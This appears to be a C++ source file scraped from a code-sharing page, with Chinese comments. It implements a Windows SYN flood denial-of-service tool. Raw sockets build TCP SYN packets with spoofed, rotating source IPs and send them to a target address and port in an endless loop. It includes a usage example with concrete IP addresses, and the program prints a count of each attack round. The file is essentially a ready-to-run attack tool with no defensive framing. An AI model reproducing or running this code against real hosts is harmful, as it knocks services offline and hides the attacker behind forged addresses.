?? dosattack.cpp
字號:
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
//#define argv[3] "200.168.150.1" //偽裝IP的起始值,本程序的偽裝IP覆蓋一個C類網(wǎng)段
#define STATUS_FAILED 0xFFFF //錯誤返回值
typedef struct _iphdr //定義IP首部
{
unsigned char h_verlen; //4位首部長度,4位IP版本號
unsigned char tos; //8位服務(wù)類型TOS
unsigned short total_len; //16位總長度(字節(jié))
unsigned short ident; //16位標(biāo)識
unsigned short frag_and_flags; //3位標(biāo)志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協(xié)議 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗(yàn)和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
struct //定義TCP偽首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //協(xié)議類型
unsigned short tcpl; //TCP長度
}psd_header;
typedef struct _tcphdr //定義TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列號
unsigned int th_ack; //32位確認(rèn)號
unsigned char th_lenres; //4位首部長度/6位保留字
unsigned char th_flag; //6位標(biāo)志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校驗(yàn)和
USHORT th_urp; //16位緊急數(shù)據(jù)偏移量
}TCP_HEADER;
//CheckSum:計算校驗(yàn)和的子函數(shù)
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
// SynFlood主函數(shù)
int main(int argc,char *argv[])
{
if(argc!=5)
{
printf("參數(shù)錯誤 使用方式舉例\n %s 目標(biāo)IP 目標(biāo)端口號 偽裝IP 偽裝端口號\n",argv[0]);
printf("%s 219.245.5.196 80 219.245.5.45 90\n",argv[0]);
return 0;
}
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,"初始化Socket失敗: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET)
{
fprintf(stderr,"初始化Socket失敗: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//設(shè)置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR) printf("填充IP頭錯誤!\n");
__try
{
//設(shè)置發(fā)送超時
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,"設(shè)置超時失敗: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(argv[1]);
FakeIpNet=inet_addr(argv[3]);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本號,低四位首部長度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位總長度(字節(jié))
ip_header.ident=1; //16位標(biāo)識
ip_header.frag_and_flags=0; //3位標(biāo)志位
ip_header.ttl=128; //8位生存時間TTL
ip_header.proto=IPPROTO_TCP; //8位協(xié)議(TCP,UDP…)
ip_header.checksum=0; //16位IP首部校驗(yàn)和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
ip_header.destIP=inet_addr(argv[1]); //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(atoi(argv[4])); //源端口號
tcp_header.th_dport=htons(atoi(argv[2])); //目的端口號
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號
tcp_header.th_ack=0; //ACK序列號置為0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP長度和保留位
tcp_header.th_flag=2; //SYN 標(biāo)志
tcp_header.th_win=htons(16384); //窗口大小
tcp_header.th_urp=0; //偏移
tcp_header.th_sum=0; //校驗(yàn)和
//填充TCP偽首部(用于計算校驗(yàn)和,并不真正發(fā)送)
psd_header.saddr=ip_header.sourceIP; //源地址
psd_header.daddr=ip_header.destIP; //目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP; //協(xié)議類型
psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部長度
long index=0;
while(1)
{
//每發(fā)送10,240個報文輸出一個標(biāo)示符
printf("正在向%s發(fā)動%ld次攻擊\n",argv[1],++index);
for(counter=0;counter<10240;counter++)
{
if(SendSEQ++==65536) SendSEQ=1; //序列號循環(huán)
//更改IP首部
ip_header.checksum=0; //16位IP首部校驗(yàn)和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號
tcp_header.th_sum=0; //校驗(yàn)和
//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
//計算TCP校驗(yàn)和,計算校驗(yàn)和時需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//計算IP校驗(yàn)和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充發(fā)送緩沖區(qū)
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//發(fā)送TCP報文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\n發(fā)送錯誤:%d\n",GetLastError());
}//End of for
}//End of While
}//End of try
__finally
{
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -